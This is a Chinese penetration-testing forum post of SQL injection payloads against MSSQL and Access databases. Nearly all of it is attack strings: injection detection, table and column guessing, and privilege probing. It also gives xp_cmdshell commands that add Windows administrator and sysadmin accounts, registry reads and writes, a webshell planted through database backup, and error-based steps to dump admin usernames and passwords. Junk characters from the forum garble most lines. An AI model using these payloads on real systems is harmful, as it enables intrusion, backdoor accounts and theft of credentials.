中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入 5 H! w, p2 L3 B% b& D. h
;and 1=1 " _' Z$ w$ p& E  C2 t# e* K
;and 1=2 8 {2 Q  O5 }" D% X

# j( l7 L1 @1 C" ?2.初步判断是否是mssql
$ I1 @  Q6 g: X;and user>0
5 v& N9 X( r& e
8 B; T* e5 y' s5 @- m3 Q! `* h3.判断数据库系统 ' G% D/ Z5 V6 i# r5 l
;and (select count(*) from sysobjects)>0 mssql + [& h$ r5 n% f
;and (select count(*) from msysobjects)>0 access
  }. h# @/ I) F1 m" w* Z: m6 l1 f# T1 l; ^6 ^9 W# P! L. g, o
4.注入参数是字符
& E3 s. _9 _. |8 u! l'and [查询条件] and ''='
. w4 ?- ?& F8 g+ m$ x- Y; J7 u
/ w# c0 c  I  |/ u+ R5.搜索时没过滤参数的
$ B8 ?4 w: ~) D$ B  a2 z+ T'and [查询条件] and '%25'='
/ ^$ A4 N& l( m4 n" l" x) l' [' j) r. `1 J% c
6.猜数表名 ( E- b7 @+ |4 w% p
;and (select Count(*) from [表名])>0
+ L; a. g6 W' P* S/ C
, `7 |2 S$ F, {5 \- e, N7.猜字段
; f" R# a6 d: U6 t" N! D, D% k;and (select Count(字段名) from 表名)>0 * @+ l' \7 _% a' s

, s# X; d, I3 \8.猜字段中记录长度 ; t- B/ V/ R$ Z, z: L! t8 K
;and (select top 1 len(字段名) from 表名)>0 : I" R2 R6 G! v# q: P4 @4 J8 ?
: k& F1 F/ D  w7 I% \5 G0 v
9.(1)猜字段的ascii值(access) 5 N; h8 M& `6 Q+ A- ]  c
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
5 ]* Q3 F2 W# N& j, Z: f" K3 `& O9 y0 S* w  o% g) K$ T+ Y3 ]
(2)猜字段的ascii值(mssql) : A; j; Y7 p4 h
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
) H+ u5 Q  B9 _4 u
, l, [% p7 \1 e+ K0 |10.测试权限结构(mssql) 7 Q8 y6 [. D' d2 L+ D1 G
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 d2 @( p9 x. t;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 V: E2 ]8 ]0 P4 r
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
* F& }% H, K" m: d& T) m2 q3 z9 I;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
) ^2 y4 O# _# K% N2 k  q( O: ^1 W;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
3 g( s3 N! q4 s$ [% a;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- - r: G+ f: K3 ]% X
;and 1=(select IS_MEMBER('db_owner'));--
8 a0 h% T- h1 S4 o, _& m
: C$ j! J$ z8 @3 n( `) \11.添加mssql和系统的帐户
7 Z! ?6 P7 e% M! d+ @;exec master.dbo.sp_addlogin username;-- * q* X" P3 R6 l4 d  j% Y5 j
;exec master.dbo.sp_password null,username,password;--
( z$ f# s4 @* ?4 K;exec master.dbo.sp_addsrvrolemember sysadmin username;-- + x; m7 i: @8 j& e
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 f0 ]) g9 m8 H0 b8 I0 ~! f
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6 H! k# a0 x/ z; a6 l, n+ ?9 [
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! V7 }" S6 G1 O1 T$ {6 v
1 D$ u9 w& L% V7 i
12.(1)遍历目录
9 X' P6 P) e% A+ l;create table dirs(paths varchar(100), id int) 7 T" M; n( j' w! \8 U
;insert dirs exec master.dbo.xp_dirtree 'c:\' % b: V" \( U# v5 ^/ X6 X" i- _
;and (select top 1 paths from dirs)>0 0 W3 z. T6 J) C# |$ b! s
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) - |  C6 F8 \2 E, c7 l" e

" f# c4 v; e' s  t) [; E* {(2)遍历目录
( w2 y) b8 G6 |: E5 c+ \6 [1 ];create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
3 Y9 Z/ C. T7 S2 M. b6 y0 q& j;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 5 k# I( [, D' E# R1 O
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ! ]  z1 I( D0 X' J4 B
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
) O! \" W5 A" ?+ h6 c2 \0 X0 T;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
4 n) X& ?9 A' j6 {. t) Y# T/ H' q1 W4 u6 a  r4 P
13.mssql中的存储过程 " D8 l! @$ B6 r- y
xp_regenumvalues 注册表根键, 子键
$ d2 h6 L2 Q/ n  l6 d! Q4 |; R;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. W" ?% K, @( b* Uxp_regread 根键,子键,键值名 0 @! P9 Y# Z) V) m
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
# E) u; ]/ Q: K( q2 pxp_regwrite 根键,子键, 值名, 值类型, 值 ' H" Z2 s& B% B% A
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 T+ Z" T( C4 g4 _$ A, r+ y;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 0 s4 T7 M# ~7 Y, p3 S+ q- K: ~+ D' U
xp_regdeletevalue 根键,子键,值名
+ J* ~! A: n0 `& {; ]( f' m- aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
& T' b' w5 R/ e" y# T6 d( Axp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
7 m: D) {& ~( o0 \1 R6 s* S& Q# A$ ~/ o& Y0 P2 i/ o% ^0 c# A, i
14.mssql的backup创建webshell 2 c. \7 [8 {# [
use model # M! V* S* N8 W; i' T
create table cmd(str image);
" h1 E+ z; g0 l" |, l% l8 Dinsert into cmd(str) values ('<% Dim oScript %>');
9 \; ?. R$ P1 Y7 Bbackup database model to disk='c:\l.asp';
$ n; o, T" z# e  d7 U6 }  M* K# }( n, ]  A4 I( k* K" @
15.mssql内置函数 : u  e, b1 N* E2 v
;and (select @@version)>0 获得Windows的版本号 % M+ F( H' E& ]( s1 X: B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 2 w6 M+ r9 h  b0 H* y2 X+ a! I) `) X
;and (select user_name())>0 爆当前系统的连接用户
1 c5 ~  L) S5 j3 Q. s* e;and (select db_name())>0 得到当前连接的数据库 ; U# \+ ]3 D+ w, ?) P& k
; R7 H- H' e4 j: b: B) a! y; P8 ]

$ ~) }9 z* ]8 R; S" _" z1 |% {# J0 K0 E. J  t+ N1 l: W
MSSQL手注暴库
, O3 k, U( {6 I5 A$ K: q3 k& n4 V4 w% m$ t  h1 l
1.暴出当前表名和列名9 a4 v' ]) h7 O" D
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。$ ^1 _* Z6 V. a$ i
/ V- w+ \/ ~! u+ @. j( o
第一.爆出所有数据库名7 r- R2 ?. L6 Z; ^* g& V
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
& h# y5 |/ A- w第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。+ L3 l# U/ T) [8 J4 i! y
* C  Q& u( D2 p* a/ d3 X1 [
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名  j) ^, w* F8 }0 n# ]( E. V/ v! X
3 q. @  ~+ t. p& i1 `

. j- E$ q' r( v, g8 s第二.爆出指定库中的所有表名" O$ ^; M' R5 X  Z8 F# [
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
9 h# Z, `! s  e* F再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
! V! W* \9 }; D& F6 e  D4 V1 Q" o( O! i4 X9 T
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
) j! ]. G; P5 h  N, land 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
  l. }6 q: z0 Q' B! Uand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
, ~7 m% S$ Q- v3 N2 {% M. g
+ W, [( p$ }5 m4.爆出指定表中的所有列名
/ O& t8 D8 T* Land 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 7 \  Z/ _, n$ P1 I6 D9 K, J
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
5 M  f; ]( S% {/ I) r- V% t* N- x) x! u% c+ E" S
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
5 n6 r! T0 @1 s* C0 S3 w7 ?. R; }' [8 a
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
- \0 x5 x' g' i5 ]' A& w- F依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
" a  b5 p! ?* R  O5 {, A2 H; U3 f* u! A- n+ _/ Z' `

$ G. Q. _: i0 ?: W" z* \7 L. Eand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值0 {$ A+ `1 R: }3 ~+ h

+ B7 C. F6 _0 l/ E) land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
0 J% Z) X! `# Y* [
" G9 D- Z4 A- k, J8 h1 b2 ~- Zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
* V  D$ N+ V  q. Q% Y" g$ Z8 S/ W$ Z
/ p1 R' \' y7 e" D
/ @! I" a- H; g' b; }; M) W5 ^% J* @+ c
5.读取指定表中的数据
& U7 `1 D. _: T6 f& y/ ], t5 L2 ^- f- Q" J$ @' ~
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 s" a$ U6 Z" y# O% j+ @0 E
; w% _/ Q% {6 G
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--- ?* t  t- P; G* w& Z2 g0 K6 E4 D. b

, E4 y" S: }0 N/ @and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
9 w, z2 ^0 F5 T4 P1 }; k3 L) s2 l4 T1 W) Q9 x' D, K

# M0 ?) i, _4 _, u- `! @and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)# B' |1 M* X$ ~( ]+ t. x
7 J. a1 a( f' i# A' i0 ^
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
2 `9 V: q7 Y0 i$ [+ t
/ @7 s0 R8 `- T1 M$ i8 z$ qand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
* {9 ^) W' r, |
( }) x+ v# b: X- N知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
6 y6 n6 C: s6 s




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2